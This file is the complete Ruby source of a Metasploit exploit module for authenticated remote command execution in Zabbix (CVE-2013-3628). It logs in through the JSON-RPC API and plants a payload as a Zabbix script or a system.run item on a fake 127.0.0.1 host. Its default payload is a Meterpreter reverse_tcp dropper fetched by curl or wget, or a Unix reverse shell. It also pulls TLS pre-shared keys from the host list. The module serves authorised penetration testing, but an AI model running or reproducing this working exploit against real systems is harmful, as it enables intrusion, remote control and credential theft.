modules/exploits/multi/http/zabbix_script_exec.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Retry
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zabbix Authenticated Remote Command Execution',
'Description' => %q{
ZABBIX allows an administrator to create scripts that will be run on hosts.
An authenticated attacker can create a script containing a payload, then a host
with an IP of 127.0.0.1 and run the arbitrary script on the ZABBIX host.
This module was tested against Zabbix v2.0.9, v2.0.5, v3.0.1, v4.0.18, v5.0.17, v6.0.0.
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Perry <bperry.volatile[at]gmail.com>', # Discovery / msf module
'lap1nou <lapinousexy[at]gmail.com>' # Update of the module / Item technique
],
'References' => [
['CVE', '2013-3628'],
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
],
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' => [
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'curl', 'wget', 'printf' ],
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'curl',
'MeterpreterTryToFork' => true,
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command', {
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse'
}
}
]
],
'DisclosureDate' => '2013-10-30',
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 60 },
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'Admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', 'zabbix']),
OptString.new('TARGETURI', [ true, 'The URI of the Zabbix installation', '/zabbix/']),
OptString.new('TLS_PSK_IDENTITY', [ false, 'The TLS identity', '']),
OptString.new('TLS_PSK', [ false, 'The TLS PSK', '']),
OptEnum.new('TECHNIQUE', [ true, 'Choose if the module must use script or item way of achieving RCE, item is only available on Zabbix server >= 3.0 and the AllowKey=system.run[*] directive should be enabled', 'script', ['script', 'item']]),
OptInt.new('TIMEOUT', [ false, 'The last API calls made can take some amount of time to complete, this is the timeout to wait', 120])
]
)
end
def check
auth_token = login
zabbix_version = get_version
str = rand_text_alpha(18)
script_id = create_script(auth_token, zabbix_version, "echo #{str}")
group_id = find_group_id(auth_token)
host_id = create_host(auth_token, group_id)
resp = execute_script(auth_token, host_id, script_id)
if resp.get_json_document.dig('result', 'value').gsub("\n", '') == str
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def send_json_api_request(method, auth_token = nil, params = {})
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api_jsonrpc.php'),
'data' => {
'auth' => auth_token,
'id' => 1,
'jsonrpc' => '2.0',
'method' => method,
'params' => params
}.to_json,
'ctype' => 'application/json-rpc'
})
fail_with(Failure::Unreachable, "The server didn't respond") if resp.nil?
json_document = resp.get_json_document
fail_with(Failure::UnexpectedReply, 'The server response is empty') if json_document.empty?
return json_document
end
def get_interfaceid(auth_token, host_id)
params = {
'hostids' => host_id,
'output' => 'extend'
}
resp = send_json_api_request('hostinterface.get', auth_token, params)
return resp['result'][0]['interfaceid']
end
def create_item(auth_token, host_id, payload)
interface_id = get_interfaceid(auth_token, host_id)
item_title = rand_text_alpha(18)
@item_title = item_title
print_status("Creating an item called #{item_title}")
params = {
'delay' => 30,
'hostid' => host_id,
'interfaceid' => interface_id,
'key_' => "system.run[#{payload},nowait]",
'name' => item_title,
'type' => 0,
'value_type' => 3
}
send_json_api_request('item.create', auth_token, params)
vprint_good('Successfully created an item')
end
def create_script(auth_token, zabbix_version, payload)
script_title = rand_text_alpha(18)
@script_title = script_title
print_status("Creating a script called #{script_title}")
params = {
'command' => payload,
'name' => script_title,
'type' => 0
}
if zabbix_version >= Rex::Version.new('5.4.0')
params[:scope] = 2
end
resp = send_json_api_request('script.create', auth_token, params)
script_id = resp.dig('result', 'scriptids', 0)
@script_id = script_id
return script_id
end
def execute_script(auth_token, host_id, script_id)
print_status('Executing the script...')
retry_until_truthy(timeout: datastore['TIMEOUT']) do
params = {
'scriptid' => script_id.to_s,
'hostid' => host_id.to_s
}
resp = send_json_api_request('script.execute', auth_token, params)
next if !resp['error'].nil?
return resp
end
end
def find_tls_psk(auth_token)
print_status('Searching for a TLS PSK (pre-shared key)...')
resp = send_json_api_request('host.get', auth_token)
# Searching for a PSK
resp['result'].each do |host|
next if host['tls_psk'].to_s.strip.empty?
print_good("Found a TLS PSK '#{host['tls_psk']}' for the identity '#{host['tls_psk_identity']}', setting them...")
datastore['TLS_PSK'] = host['tls_psk']
datastore['TLS_PSK_IDENTITY'] = host['tls_psk_identity']
break
end
end
def exploit_script(auth_token, zabbix_version)
case target['Type']
when :unix_cmd
script_id = create_script(auth_token, zabbix_version, payload.encoded)
when :linux_dropper
script_id = create_script(auth_token, zabbix_version, generate_cmdstager.join)
end
group_id = find_group_id(auth_token)
host_id = create_host(auth_token, group_id)
execute_script(auth_token, host_id, script_id)
end
def exploit_item(auth_token)
group_id = find_group_id(auth_token)
if datastore['TLS_PSK'] == '' || datastore['TLS_PSK_IDENTITY'] == ''
find_tls_psk(auth_token)
end
host_id = create_host(auth_token, group_id)
case target['Type']
when :unix_cmd
create_item(auth_token, host_id, payload.encoded)
when :linux_dropper
create_item(auth_token, host_id, generate_cmdstager.join)
end
end
def find_group_id(auth_token)
print_status('Getting a valid group id...')
params = {
'output' => 'extend'
}
resp = send_json_api_request('hostgroup.get', auth_token, params)
group_id = resp.dig('result', 0, 'groupid')
@group_id = group_id
if !group_id.nil?
vprint_good('Successfully got a valid groupid')
end
return group_id
end
def create_host(auth_token, group_id)
host = rand_text_alpha(18)
@host_name = host
print_status("Creating a host called #{host}")
params = {
'groups' => [
{
'groupid' => group_id
}
],
'host' => host,
'interfaces' => [
{
'dns' => '',
'ip' => '127.0.0.1',
'main' => 1,
'port' => '10050',
'type' => 1,
'useip' => 1
}
]
}
if datastore['TLS_PSK_IDENTITY'] != '' || datastore['TLS_PSK'] != ''
params[:tls_connect] = 2
params[:tls_psk_identity] = datastore['TLS_PSK_IDENTITY']
params[:tls_psk] = datastore['TLS_PSK']
end
resp = send_json_api_request('host.create', auth_token, params)
host_id = resp.dig('result', 'hostids', 0)
@host_id = host_id
vprint_good('Successfully created an host')
return host_id
end
def login
params = {
'password' => datastore['PASSWORD'],
'user' => datastore['USERNAME']
}
resp = send_json_api_request('user.login', nil, params)
auth_token = resp['result']
@auth_token = auth_token
if !auth_token.nil?
print_good('Successfully logged in')
end
return auth_token
end
def get_version
resp = send_json_api_request('apiinfo.version')
version = Rex::Version.new(resp['result'])
@zabbix_version = version
if !version.nil?
vprint_status("Zabbix version number #{version}")
end
return version
end
def exploit
version = get_version
auth_token = login
if datastore['TECHNIQUE'] == 'script'
exploit_script(auth_token, version)
elsif datastore['TECHNIQUE'] == 'item'
exploit_item(auth_token)
end
end
def delete_host(auth_token, host_id, host_name, zabbix_version)
params = {}
if zabbix_version < Rex::Version.new('2.2.0')
params = [ { 'hostid' => host_id } ]
else
params = [ host_id ]
end
resp = send_json_api_request('host.delete', auth_token, params)
if !resp['result'].nil?
vprint_good("Successfully deleted '#{host_name}' host")
else
print_warning("Couldn't delete the host '#{host_name}'")
end
end
def delete_script(auth_token, script_id, script_title)
params = [ script_id ]
resp = send_json_api_request('script.delete', auth_token, params)
if !resp['result'].nil?
vprint_good("Successfully deleted '#{script_title}' script")
else
print_warning("Couldn't delete the script '#{script_title}'")
end
end
def cleanup
return unless @host_id
delete_host(@auth_token, @host_id, @host_name, @zabbix_version)
return unless @script_id
delete_script(@auth_token, @script_id, @script_title)
ensure
super
end
end